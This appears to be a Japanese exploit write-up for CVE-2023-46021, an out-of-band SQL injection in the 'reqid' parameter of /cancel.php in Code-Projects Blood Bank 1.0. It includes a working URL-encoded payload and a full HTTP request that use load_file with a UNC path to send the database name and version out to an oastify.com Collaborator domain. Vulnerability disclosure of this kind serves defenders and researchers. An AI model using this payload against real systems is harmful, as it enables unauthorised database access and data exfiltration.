CVE-2023-46021-Code-Projects-Blood-Bank-1.0-OOB-SQLインジェクション脆弱性

エクスプロイト作者: ersinerenler

ベンダーホームページ

https://code-projects.org/blood-bank-in-php-with-source-code

ソフトウェアリンク

https://download-media.code-projects.org/2020/11/Blood_Bank_In_PHP_With_Source_code.zip

概要

Code-Projects Blood Bank V1.0 は、/cancel.php ファイルの 'reqid' パラメータを介した Out-of-Band (OOB) SQL インジェクションを含む重大なセキュリティ脆弱性にさらされています。この脆弱性は適切な保護メカニズムの欠如に起因し、攻撃者がパラメータを悪用して Burp Collaborator 経由で OOB SQL インジェクション攻撃を行うことを可能にします。これにより、データベースからの不正アクセスや機密情報の抽出が生じる可能性があります。

脆弱性詳細

CVE ID: CVE-2023-46021
影響を受けるバージョン: Blood Bank V1.0
脆弱性ファイル: /cancel.php
パラメータ名: reqid
攻撃タイプ: ローカル

参考資料:

説明

Code-Projects Blood Bank V1.0 の /cancel.php ファイルにおける 'reqid' パラメータは、Out-of-Band SQL インジェクションに対して脆弱です。この脆弱性は不十分な保護メカニズムに起因し、攻撃者が Burp Collaborator を使用してパラメータを悪用し、OOB SQL インジェクション攻撃を開始することを可能にします。この手法により、攻撃者はデータベースから機密情報を抽出する可能性があります。

概念実証 (PoC) :

Burp Suite 経由で cancel.php へのリクエストをインターセプトする
脆弱なパラメータにペイロードを注入する
Payload: 4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
reqid パラメータのリクエスト例

---
GET /bloodbank/file/cancel.php?reqid=4'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.7mus27hip62tznk3gy4n7z3fo6uxin6c.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/sentrequest.php?msg=You%20have%20requested%20for%20blood%20group%20A+.%20Our%20team%20will%20contact%20you%20soon.
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---

Burp Suite Collaborator を介してデータベースとバージョン情報が取得されました

CVE-2023-46021-Code-Projects-Blood-Bank-1.0-SQL-Injection-Vulnerability

人気